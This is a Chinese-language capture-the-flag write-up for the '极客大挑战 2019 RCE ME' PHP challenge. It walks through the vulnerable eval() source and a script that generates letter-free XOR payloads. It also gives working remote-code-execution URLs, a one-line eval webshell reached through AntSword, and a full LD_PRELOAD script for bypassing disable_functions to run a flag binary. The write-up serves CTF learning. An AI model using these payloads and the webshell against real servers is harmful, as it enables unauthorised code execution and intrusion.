0%

[极客大挑战 2019]RCE ME

打开链接可以发现题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

源码分析结果:

  • GET获取变量code
  • 传递内容长度不大于40
  • 内容不包含字母和数字

如何构造出不含数字和字母的webshell ?

  可以参照以下链接内容:

 它的核心思路是,将非字母、数字的字符经过各种变换,最后能构造出a-z中任意一个字符。然后再利用PHP允许动态函数执行的特点,拼接处一个函数名,如“assert”,然后动态执行之即可。

根据上面的思路写脚本来构造来payload

网上的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
function gen($pl) {
$aa = "";
$bb = "";
for ($j = 0; $j < strlen($pl); $j++) {
for ($i = 0xa0; $i < 0xff; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
$t = chr($i) ^ $pl[$j];
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
$aa .= chr($i);
$bb .= $t;
break;
}
}
}
}
return str_replace("%", "\x", urlencode($aa) . "^" . urlencode($bb) . "\r\n");
}
function gen_url($pl) {
$aa = "";
$bb = "";
for ($j = 0; $j < strlen($pl); $j++) {
for ($i = 0xa0; $i < 0xff; $i++) {
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($i)) == 0) {
$t = chr($i) ^ $pl[$j];
if (preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $t) == 0) {
$aa .= chr($i);
$bb .= $t;
break;
}
}
}
}
return urlencode($aa) . "^" . urlencode($bb). "\r\n";
}

echo gen("_GET");
echo gen_url("_GET");


echo "\n";
echo "\xA0\xA0\xA0\xA0"^"\xFF\xE7\xE5\xF4";
echo "\n";

echo "\n";
echo urldecode("%A0%A0%A0%A0")^urldecode("%FF%E7%E5%F4");
echo "\n";

我们可以得到2个payload (有个疑问,不是要在40个字符以内吗?怎么绕过的?)

1
2
3
?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_GET[a])&a=phpinfo();

上传一句话木马

我们直接在url上输入code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27cmd%27])然后就可以用蚁剑连接上了。
发现有个根目录flag和readflag,flag打开无权限,我们尝试打开readflag发现是个二进制文件直接将它下载,然后反编译以下得到:

但是我们无法直接运行这个文件,没有权限。

如何提高我们的权限?

这里我们可以去看看bypass_disablefunc_via_LD_PRELOAD这里面写的非常清楚。

下一步,上传我们的恶意文件

因为权限问题我们在蚁剑上无法上传文件到根目录,但是我们可以上传到/tmp。我们将fithub中的恶意so文件(注意系统为数),和php文件上传,我这里把他们重新命名了,方便等下的包含,123.so和123.php。
其中123.php的内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

利用我们的include()包含文件,执行系统命令

执行以下命令:

1
?code=$_=%22`{{{%22^%22?%3C%3E/%22;${$_}[_](${$_}[__]);&_=assert&__=var_dump(eval($_GET[a]))&a=include(%27/tmp/123.php%27);&cmd=./../../../readflag&outpath=/tmp/123.txt&sopath=/tmp/123.so

就可以得到我们的flag


-------------本文结束感谢您的阅读-------------